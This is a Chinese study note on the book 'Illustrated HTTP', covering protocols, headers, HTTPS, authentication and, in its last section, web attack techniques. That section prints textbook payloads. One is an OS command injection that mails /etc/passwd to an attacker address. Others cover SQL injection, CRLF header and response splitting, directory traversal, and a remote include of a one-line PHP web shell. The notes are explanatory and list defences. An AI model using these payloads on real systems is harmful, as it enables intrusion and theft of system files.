图解http 笔记
- 1 了解Web及网络基础
- 1.4 与HTTP关系密切的协议: IP、TCP和DNS
- 1.5 负责域名解析的DNS服务
- 1.6 各种协议与HTTP协议的关系
- 1.7 URI和URL
- 2 简单的HTTP协议
- 3 HTTP报文内的HTTP信息
- 4 返回结果的HTTP状态码
- 5 与HTTP协作的Web服务器
- 6 HTTP首部
- 7 HTTPS
- 8 确认访问用户身份的认证
- 9 基于HTTP的功能追加协议
- 10 构建Web的技术
- 11 Web攻击技术
1 了解Web及网络基础
1.2 HTTP的诞生
最新版本HTML5.0 HTTP2.0(加密)
1.3 网络基础TCP/IP
HTTP是TCP/IP协议族的子集,后者是互联网相关的各类协议族的总称。
协议是双方遵守的通信方法,如探测目标、通信顺序、通信语言等的规定。
TCP/IP协议族按层次分为
1.4 与HTTP关系密切的协议: IP、TCP和DNS
- ARP: Address Resolution Protocol, 根据IP反查出MAC地址;利用下一站中专设备的MAC地址来搜索下一个中转目标,详见ARP请求报文广播。
- 三次握手策略:① →SYN ② ←SYN/ACK ③ →ACK
1.5 负责域名解析的DNS服务
1.4讲的是通过IP直接访问的情况,但人类更常使用域名访问,即先从DNS得到IP
1.6 各种协议与HTTP协议的关系
- HTTP协议的职责:生成针对目标Web服务器的HTTP请求报文 / 对请求内容的处理,“你想要什么”
- TCP协议的职责:将HTTP request分割成报文段 / 重组报文段
- IP协议的职责:搜索对方的地址,一边中转一边传送
1.7 URI和URL
- URL(Locater)是URI(Identifier)的子集,标识符不一定是定位符,但定位符一定是标识符。
1 2 3 4 5 6 7 8 9
// URI 举例: ftp: //ftp. is. co. za/rfc/rfc1808. txt http: //www. ietf. org/rfc/rfc2396. txt ldap: //[ 2001: db8: : 7] /c=GB? obj ectClass?one mailto: J ohn. Doe@example. com news: comp. infosystems. www. servers. unix tel: +1- 816- 555- 1212 telnet: //192. 0. 2. 16: 80/ urn: oasis: names: specification: docbook: dtd: xml: 4. 1. 2
- 绝对URI格式:
http://user:pass@www.example.jp:80/dir/index.htm?uid=1#ch1
协议方案名 登录信息 服务器地址 端口号 带层次的文件路径 查询字符串 片段标识符
http和https协议不区分大小写
- RFC: Request for Comments 征求修正意见书,互联网设计文档
2 简单的HTTP协议
2.1 HTTP协议是用于客户端和服务端之间的通信
单条同心路线必须有server和client的角色区分
2.2 请求与响应报文
2.3 HTTP是不保存状态的协议
无状态(stateless)协议,不保存通信状态,意思就是各请求/响应之间无联动,必须在当前报文中完成全部操作。
为了解决该问题,引入Cookie
2.4 使用URI
要么URI写完整,要么和URI和Host分开
2.5 HTTP
- GET
- POST: 传输实体主体
- PUT: 传输文件
- HEAD: 获得报文首部,确认URI的有效性及资源更新时间,确认用
- DELETE: 删除文件
- OPTIONS: 询问支持的方法
- TRACE: 返回通信环; 跨站追踪攻击
CONNECT: 用于SSL TLS
- 如果GET/POST的URI是.cgi(通用网关接口),则会返回执行后的输出结果
2.7 持久连接
为此提出了持久连接(HTTP Persistent Connections/ HTTP keep-alive/ HTTP connection reuse)。在一方明确提出断开连接之前,保持TCP连接状态,可进行多次HTTP请求与响应
HTTP/1.1默认所有连接都是持久连接
持久连接使管线化(pipelining)成为可能,即并行发送多个请求。
2.8 Cookie
- 服务器(生成并)发送一个Set-Cookie的首部字段信息,通知客户端保存Cookie。
3 HTTP报文内的HTTP信息
3.1 HTTP报文
报文首部和报文主体之间以空行(CR+LF)划分;CR ‘\r’: 回车符, 0x0d, 使光标移到行首; LF ‘\n’: 换行符, 0x0a, 使光标下移一格.
- DOS和Windows以回车+换行CR+LF(\r\n)表示下一行
- UNIX/Linux以换行符LF表示下一行
- Mac OS用回车符CR表示下一行
3.3 编码提升传输效率
编码提升传输效率,但是会消耗计算机的CPU和资源
3.3.1 报文和实体
报文 message, HTTP通信的基本单位 8位组字节流(octet sequence)
实体 entity, 作为请求或响应的有效payload 被传输,由实体首部与实体主体组成
HTTP报文的主体用于传输请求或响应的实体主体(通常相等),不相等的情况即是经过了编码。
3.3.2 内容编码(Content-Encoding)
- gzip: GNU zip
- compress: UNIX系统的标准压缩
- deflate: zlib
- identity: 不编码
3.3.3 分块传输编码
chunked transfer coding. 将实体主体分块,最后一块用0(CR+LF)标记
3.4 Mutipart
MIME: 多用途因特网邮件扩展,使用一种叫多部分对象集合Mutipart的方法容纳不同类型的数据。HTTP协议也使用了这种方法。
- multipart/form-data
mutilpart/byteranges
- 使用boundary字符串划分多部分对象集合指明的各类实体。
3.5 获取部分内容的范围请求
1
2
3
Range: bytes=5001-10000
Range: bytes=5001-
Range: bytes=-3000, 5000-7000
3.6 内容协商
服务端为客户提供最适资源(如语言、字符集、编码方式)。也可以由客户端驱动协商,两者协同协商。
1
2
3
4
5
Accept
Accept-Charset
Accept-Encoding
Accept-Language
Content-Language
4 返回结果的HTTP状态码
1XX 正在处理; 2XX 处理完毕; 3XX 重定向; 4XX Client Error; 5XX Server Error
- 200 正常
- 204 响应报文无实体主体
- 206 范围请求
- 301 永久转移至新URI, 重定向会放在Location里,下同
- 302 临时新URI
- 303 同302, 将POST或其他转为GET的最理想方式
- 304 资源已找到,但未符合条件请求(GET,包含If-Match等首部)
- 307 同302
- 400 Bad Request 语法错
- 401 第一次弹出认证界面,第二次则返回认证失败
- 403 不允许访问,可能是权限问题,可无理由
- 404 找不到,也可以用于无理由拒绝
- 500 服务器执行错误,可能是web APP的bug
- 503 正忙/维护
- 不少状态码响应是错误的,请注意
5 与HTTP协作的Web服务器
5.1 单台虚拟主机实现多个域名
由于虚拟主机(virtual host)可以寄存多个不同主机/域名的Web网站,必须在Host首部指定主机或域名的URI
5.2 通信数据转发程序: 代理、网关、隧道
5.2.1 代理
代理会加入Via: proxy1之类的首部信息
缓存代理: 如其名
透明代理: 不对报文做加工
5.2.2 网关
利用网关可以提高通信安全性,将HTTP请求转化为其他协议通信
5.2.3 隧道
隧道不解析HTTP 只中转 是透明的
5.3 缓存
5.3.1 缓存的有效期限
根据客户端的要求/缓存的有效期 向源服务器确认资源的有效性;然后更新.
6 HTTP首部
6.1 HTTP报文首部
空行之前的都是报文首部
6.2.2 HTTP首部字段
如果首部字段重复,根据浏览器不同处理优先不同
6.2.3 4种HTTP首部字段类型
通用首部字段(General Header Fields), 请求和响应都会用;
请求首部字段, 补充附加内容、客户端信息、响应内容相关优先级等;
响应首部字段, 补充响应信息、要求客户端附加额外的内容信息;
实体首部字段, 补充资源内容更新时间等与实体有关的信息。
6.2.4 HTTP/1.1 首部字段
略 按需查表
6.2.5 非HTTP/1.1 首部字段
Cookie、Set-Cookie、Content-Disposition等不在RFC2616中定义的首部字段
6.2.6 End-to-end首部和Hop-by-hop首部
逐跳首部:
- Connection
- Keep-Alive
- Proxy-Authenticate
- Proxy-Authorization
- Trailer
- TE
- Transfer-Encoding
- Upgrade
除此以外的都属于端到端
6.3 HTTP/1.1 通用首部字段
6.3.1 Cache-Control
缓存请求指令:
Cache-Control: no-cache, no-stroe, max-age=0, max-stale(=0), min-fresh=0, no-transform, only-if-cached, cache-extension
缓存响应指令: Cache-Control: public, private, no-cache, no-store, no-transform, must-revalidate, proxy-revalidate, max-age=0, s-maxage=0, cache-extension
no-cache是不缓存过期的资源, no-store才是真正的不缓存
s-maxage与Expires/max-age的区别, 后两者无效化
HTTP/1.1 优先max-age, HTTP/1.0正相反
6.3.2 Connection
- Connection: 不再转发的字段名(转发后删除该字段)
- Connection: close/Keep-Alive, 管理持久连接
6.3.3 Date
Date: 创建HTTP报文的时间
6.3.4 Pragma
Pragma: 同Cacche-Control, HTTP/1.1兼容HTTP/1.0用的历史遗留字段; 如中间服务器没有同时以HTTP/1.1为基准,则需要:
1
2
Cache-Control: no-cache
Pragma: no-cache
6.3.5 Trailer
事先说明报文主体后面记录的首部字段,如分块传输时:
1
2
3
4
5
6
Transfer-Encoding: chunked
Trailer: Expires
...(报文主体)...
0
Expires: Tue, 28 Sep 2004 23:59:59 GMT
6.3.6 Transfer-Encoding
Transfer-Encoding: chunked
6.3.7 Upgrade
Request:
1
2
3
GET /index.htm HTTP/1.1
Upgrade: TLS/1.0
Connection: Upgrade
Response:
1
2
3
HTTP/1.1 101 Switching Protocols
Upgrade: TLS/1.0 HTTP/1.1
Connection: Upgrade
6.3.8 Via
经过代理时追加 追踪报文转发,避免请求回环
6.3.9 Warning
返回警告码和警告信息
6.4 请求首部字段
6.4.1 Accept系列
Accept/Accept-Charset/Accept-Encoding/Accept-Language
用户代理能处理的类型和优先级
6.4.5 Authorization
另有Proxy-Authorization,位于客户端与代理之间
6.4.6 Except
Except: 100-continue 写明期望的扩展
6.4.7 From
用户代理的电子邮箱,也可存在User-Agent里
6.4.8 Host
虚拟主机运行在同一IP上时,使用Host区分域名
6.4.9 If-Match
当If-Match的字段值 = 文件的ETag(实体标记)值; If-None-Match与之相反
If-Match: “123456”
6.4.10 If-Modified-Since
Resonpse会给Last-Modified或Not Modified
6.4.12 If-Range
满足条件则作为范围请求,反之返回全部
6.4.14 Max-Forwards
通过TRACE或OPTIONS方法发送?
防止请求失败/回环,客户端不知道
6.4.16 Range
处理成功会返回206 Partial Content,否则200 OK & 全部资源
6.4.17 Referer
原始URI,出于安全性可以不发
6.4.18 TE
客户端处理相应的优先级,可以赋值trailers给它
注意字段名是trailer,但要赋值为trailers
6.4.19 User-Agent
浏览器信息,可能含爬虫作者、代理服务器信息
6.5 响应首部字段
6.5.1 Accepr-Ranges
告知客户端服务器是否能处理范围请求
Accept-Ranges: bytes/none
6.5.2 Age
缓存服务器在多少秒之前向源服务器确认过。
6.5.3 ETag
ETag是服务器为资源分配的唯一性标识,字符串,资源更新后ETag会改变
URI相同,ETag也可能不同。比如中文版英文版的Google首页
强ETag无论多细微的改变都会改变,弱ETag只看根本改变
6.5.4 Location
1
2
3
4
5
6
7
8
9
\\ Request
GET /sample.htm
\\ Response 1
302 Found
Location: http://test.com/sample.html
\\ Response 2 (test.com)
200 OK
6.5.5 Proxy-Authenticate
把代理服务器要求的认证信息发给客户端
6.5.6 Retry-After
可以是创建响应后的秒数,可以是GMT等格式
6.5.7 Server
服务器或中间件信息
6.5.8 Vary
代理服务器受到源服务器返回包含Vary指定项的响应之后,若再要进行缓存,仅对请求中含有相同Vary指定首部字段的请求返回缓存。
如: 源服务器返回Vary: Accept-Language给代理服务器,那么代理服务器以后只能对相同自然语言的请求返回缓存,否则向源服务器请求
6.5.9 WWW-Authenticate
HTTP访问认证
6.6 实体首部字段
(请求与响应报文的实体部分使用的首部)
1
2
3
4
5
6
7
8
9
10
Allow: GET/HEAD/... 允许的方法
Content-Encoding: gzip/ compress/ deflate/ identity
Content-Language: zh-CN
Content-Length: 15000
Content-Location: 当返回的页面内容与实际请求的对象不同时,在此写明URI
Content-MD5: 对报文主体进行MD5→base64
Content-Range: bytes 5001-10000/10000
Content-Type: text/html; charset=UTF-8
Expires: 缓存有效期,会优先处理Cache-Control
Last-Modified: URI的最后修改时间
6.7 Cookie
Set-Cookie: name=VALUE, expires=DATE, path=PATH(Cookie的适用目录), domain=DOMAIN(适用域名,结尾匹配), secure(https), HttpOnly(Cookie不能被JS脚本访问,防止XSS)
Cookie: status=enable
6.8 其他首部字段
X-Frame-Options
X-Frame-Options: DENY/ SAMEORIGIN
控制Frame标签内的现实问题,防止clickjacking攻击
X-XSS-Protection
- X-XSS-Protection: 0/1
DNT (Do Not Track)
- DNT: 0/ 1
- 同意/拒绝个人信息采集
P3P (The Platform for Privacy Preferences)
- 仅供程序理解的个人隐私
7 HTTPS
7.1 HTTP的缺点
明文通信,伪装,篡改
HTTPS=HTTP Secure=HTTP over SSL
如果基于内容加密,因为HTTP协议无加密机制,所以只有报文主体会被加密(通信本身不加密)
7.2 HTTPS
HTTPS=HTTP+加密+认证+完整性保护
HTTP先和SSL通信,再由SSL和TCP通信
HTTPS采用混合机制(加速),交换密钥环节使用公开密钥(public-key cryptography)加密方式,建立通信交换报文使用共享密钥(Common key crypto system,同对称加密)加密方式。
由数字证书认证机构CA颁发公开密钥证书,进行数字签名,详见7.2.4
证明组织真实性的EV SSL证书 浏览器地址栏为绿色
客户端证书: 银行使用,证实客户端存在,不证实用户本人的真实有效性
认证机构的可靠性
OpenSSL等自签名证书
7.2.5 HTTPS的通信机制
- 主流版本是SSL3.0和TLS1.0
8 确认访问用户身份的认证
HTTP/1.1使用如下认证:
8.2 BASIC认证
服务器会返回WWW-Authenticate首部响应,用户发送
Authorization: Basic xxxx(base64加密后的username:password)
在HTTP等非加密通信线路上不安全
8.3 DIGEST认证
会提供MD5(可换)后的密码
依然不够安全
8.4 SSL客户端认证
通常采用双因素验证, 一个SSL证书认证客户端计算机,另一个确定这是用户本人的行为
事先将客户端证书发给客户端 且客户端必须安装
服务端: Certificate Request→ ←Client Certificate: 客户端
8.5 现实状况
BASIC和DIGEST基本不怎么使用,SSL客户端认证由于导入及维持费用等问题未普及。认证多半为各Web程序实现的基于表单认证。
8.6 Session管理 & Cookie
POST (ID密码),使用HTTPS通信进行HTML表单画面的显示和用户输入数据的发送;
- 服务器发放Session ID;
Set-Cookie: PHPSESSID=028a8c…
- 客户端保存Cookie在本地,下次自动发送
在Cookie内加上httponly属性
一种安全的保存方法是给密码加盐salt,再散列hash,使密码特征库失效
9 基于HTTP的功能追加协议
HTTP标准的瓶颈:
- 一条连接一个请求
- 请求只能从客户端开始,客户端不接收响应以外的指令
- 请求/响应首部未经压缩就发送,首部信息加大延迟
- 互相发送相同的首部造成浪费
- 非强制压缩
9.2 消除HTTP瓶颈的SPDY
- 旧方法
- Ajax(Asynchronous JavaScript and XML), 有效利用JS和DOM,达到局部Web页面替换加载的异步通信手段。只更新一部分界面。使用API:XMLHttpRequest.
缺点: 产生大量请求,未解决HTTP协议本身问题。
- Comet:将响应挂起,直到服务器端有更新时再返回
- 缺点: 维持连接消耗资源
- SPDY 在TCP/IP的应用层与传输层之间新增会话层。
无限处理并发请求,分配优先级
压缩首部
服务器可直接向客户端发送数据
本质是将单个域名(IP地址)的通信多路复用,当一个网站上使用多个域名下的资源,改善效果会受限
9.3 全双工通信(full-duplex): WebSocket
基于HTML5, 使用不同于HTTP协议的新协议解决瓶颈问题
解决Ajax和Comet里XMLHttpRequest附带的缺陷所引起的问题
可互相发送JSON/XML/HTML/Image/…
主要特点:
推送功能, 服务器向客户端发送数据
保持连接状态, 减少首部, 减少通信量
建立HTTP连接之后,需完成一次handshaking:
- 握手·请求
1 2 3 4 5 6 7 8
GET /chat HTTP/1.1 Host: server.example.com **Upgrade: websocket** Connection: Upgrade Sec-Websocket-Key: (base64) Origin: http://example.com Sec-WebSocket-Protocol: chat, superchat Sec-WebSocket-Version: 13
- 握手·响应
1 2 3 4 5
HTTP/1.1 **101 Switching Protocols** Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: (根据Sec-WebSocket-Key生成的) Sec-WebSocket-Protocol: chat
- URL: ws://example.com/ wss://example.com/
9.4 HTTP/2.0
旨在改善速度体验,先通过HTTP/1.1与TCP连接
SPDY
HTTP Speed + Mobility, 改善移动端通信速度性能, 建立在SPDY与WebSocket的基础上
Network-Friendly HTTP Upgrade, 改善移动端通信中HTTP性能
9.5 WebDAV
直接对Web服务器上的内容进行文件复制、编辑等操作的分布式文件系统
追加了一些HTTP/1.1的方法与状态码,详见9.5
10 构建Web的技术
10.1 HTML
<>包围的是标签
CSS
10.2 动态HTML
调用脚本语言JavaScript实现对HTML的Web页面的动态改造,利用DOM(Document Object Model)可指定欲发生动态变化的HTML元素
10.3 Web应用
CGI, 收到客户端请求,转发给程序,程序做出相应的动作
Servlet 常驻内存, 比CGI更减负; 同mod_perl
10.4 数据发布的格式语言
XML(eXtensible Markup Language, 可扩展标记语言)
XML与HTML都是从标准通用化标记语言SGML简化而来, 通过语法分析器解析XML结构读取数据更容易
RSS/Atom 简单信息聚合/供稿格式
JSON, 以JS的对象表示法为基础,轻量级数据标记语言,支持false/null/true/对象/数组/数字/字符串
11 Web攻击技术
大部分攻击是冲着Web应用来的
主动攻击: SQL注入/ OS命令注入/ …
被动攻击: 圈套策略 如XSS XSRF
11.2 应对策略
客户端验证
- Web应用端/服务端验证
- 输入值验证
- 输出值转义
XSS: 运行非法的HTML或JavaScript
- SQL注入
SELECT * FROM bookTb1 WHERE author = ‘xxx’ –’ and flag = 1;
OS注入
1 2 3 4 5
my $adr = $q->param('mailaddress'); open(MAIL, "| /usr/sbin/sendmail $adr"); print MAIL "From:info@example.com\n"; $adr =; cat /etc/passwd | mail hack@example.jp
HTTP首部注入攻击
- 设置任何Cookie信息
- 重定向至任意URL
- 显示任意的主体(HTTP响应截断攻击)
1 2 3 4 5 6 7
Location: http://example.com/?cat=101 响应字段Location根据catID值决定 //构造cat=101%0D%0ASet-Cookie:+SID=123456789 //由于%0D%0A为换行符,实际上得到: Location: http://example.com/?cat=101 Set-Cookie: SID=123456789
- HTTP响应截断攻击 Payload:
1
(%0D%0A: 换行符)(%0D%0A: 换行符)<HTML><HEAD><TITLE>攻击者想要显示的内容 <!--
会被识别为:
1 2 3
Set-Cookie: UID=(%0D%0A: 换行符) (%0D%0A: 换行符) <HTML><HEAD><TITLE>攻击者想要显示的内容 <!--
并排插入两个换行符,将HTTP首部与主题分隔开
邮件首部注入攻击
追加邮件发送:
bob@hackr.jp%0D%0ABcc: user@example.com 篡改文本内容: bob@hackr.jp%0D%0A%0D%0AText Message
目录遍历攻击:
http://example.com/read.php?log=../../etc/passwd
文件包含:
对foo.php:
1 2
$modname = $_GET['mod']; include($modname);
指定url:
http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=ls
事先准备http://hackr.jp/cmd.php:
<? system($_GET[‘cmd’]) ?>
11.3 设置/设计缺陷引发的安全漏洞
强制浏览 隐蔽URL的暴露
错误消息的处理
开放重定向
http://example.com/?redirect=http://www.tricorder.jp
11.4 会话管理疏忽
推测/生成绘画ID
窃听/XSS盗取会话ID
会话固定攻击(session fixation) 诱导用户认证会话ID
CSRF
11.5 密码破解
点击劫持 UI伪装
DoS
Backdoor